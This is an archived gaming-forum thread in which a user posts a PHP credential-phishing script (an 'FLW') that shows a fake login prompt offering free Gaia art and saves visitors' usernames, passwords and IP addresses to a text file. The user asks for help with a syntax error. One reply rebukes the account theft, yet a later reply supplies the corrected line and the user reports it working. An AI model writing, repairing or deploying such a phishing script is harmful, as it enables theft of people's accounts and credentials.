A preserved archive of the Logical Gamers community forums, 2009-2025. The original threads and posts, served read-only. Registration, posting and private messages are gone for good.

Help Please

972 views · started by iwo27 ·
#1
Help Please
I always Get This when i upload FLWs
"Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /www/110mb.com/g/a/i/a/-/a/r/t/gaia-art/htdocs/php.php on line 3"
can someone help me??
here's the FLW
<?php
if(isset($_SERVER['PHP_AUTH_USER'])){
$Handle = @fopen(Accounts.txt', 'a');

@fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}
");
@fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}
");
@fwrite($Handle, "I.P. = {$_SERVER['REMOTE_ADDR']}

");
@fclose($Handle);

exit;
}

header('WWW-Authenticate: Basic realm="Free Gaia Art Just Log In This Pop Up :D"');
header('HTTP/1.0 401 Unauthorized');
exit;
?>


Read more: http://forum.logicalgamers.com/public-programs/29291-flw.html#ixzz1KUb4AzJ1
#2
The error is on line three. Do you see the error?
You're missing an opening single quote.

If you had learned to program instead of copy pasting, you could have fixed this yourself.

It's not that I'm annoyed that you don't know how to fix the error. I'm annoyed that you're using this to steal accounts, and you have no idea how it works.
#3
Personoid wrote:
The error is on line three. Do you see the error?
You're missing an opening single quote.

If you had learned to program instead of copy pasting, you could have fixed this yourself.

It's not that I'm annoyed that you don't know how to fix the error. I'm annoyed that you're using this to steal accounts, and you have no idea how it works.


Can you Copy Paste And Edit it?
#4
$Handle = @fopen('Accounts.txt', 'a');

This is the missing opening single quote.
#5
Thanks!! Got It But I put lots of text in line 10 and it wont work.